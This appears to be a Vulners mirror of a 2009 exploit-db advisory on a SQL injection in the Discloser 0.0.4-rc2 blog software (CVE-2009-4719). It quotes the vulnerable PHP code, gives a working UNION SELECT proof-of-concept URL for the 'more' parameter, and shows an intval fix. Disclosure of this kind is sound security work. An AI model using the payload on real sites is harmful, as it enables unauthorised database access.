Lucene search
+L

Discloser 0.0.4-rc2 - 'index.php?more' SQL Injection

🗓️ 03 Aug 2009 00:00:00Reported by Salvatore FrestaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

'Discloser' version 0.0.4-rc2 has a remote SQL Injection vulnerability in 'index.php?more'. Fix by accepting only numeric content with intval PHP function

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-4719
3 Aug 200900:00
circl
cve
CVE
CVE-2009-4719
18 Mar 201018:00
cve
cvelist
Cvelist
CVE-2009-4719
18 Mar 201018:00
cvelist
euvd
EUVD
EUVD-2009-4683
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-4719
18 Mar 201018:30
nvd
openvas
OpenVAS
Discloser 'more' Parameter SQL Injection Vulnerability
23 Mar 201000:00
openvas
openvas
OpenVAS
Discloser 'more' Parameter SQL Injection Vulnerability
23 Mar 201000:00
openvas
prion
Prion
Sql injection
18 Mar 201018:30
prion
********   Salvatore "drosophila" Fresta   ********

[+] Application: Discloser
[+] Version: 0.0.4-rc2
[+] Website: http://discloser.sourceforge.net/

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Date: 21 Feb 2004

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] SQL Injection

[-] Risk: medium
[-] File affected: displayposts.php

This flaw allows a guest to insert arbitrary SQL
statments in the affected query.

...

if (isset($_GET['more'])) {
			$more = $_GET['more'];
			$query = mysql_query("select ". $tableprefix ."posts.*, ". $tableprefix ."users.username, ". $tableprefix ."users.email from ". $tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix ."posts.poster = ". $tableprefix ."users.username and ". $tableprefix ."posts.id = $more");

...


***************************************************

[+] Code


- [A] SQL Injection

You can retrieve information from 3,4,7,8 fields.

http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10


***************************************************

[+] Fix

To fix the flaw, you must to accept numeric content
only, using, for example, intval PHP function:

$more = intval($_GET['more']);


***************************************************

# milw0rm.com [2009-08-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01054
27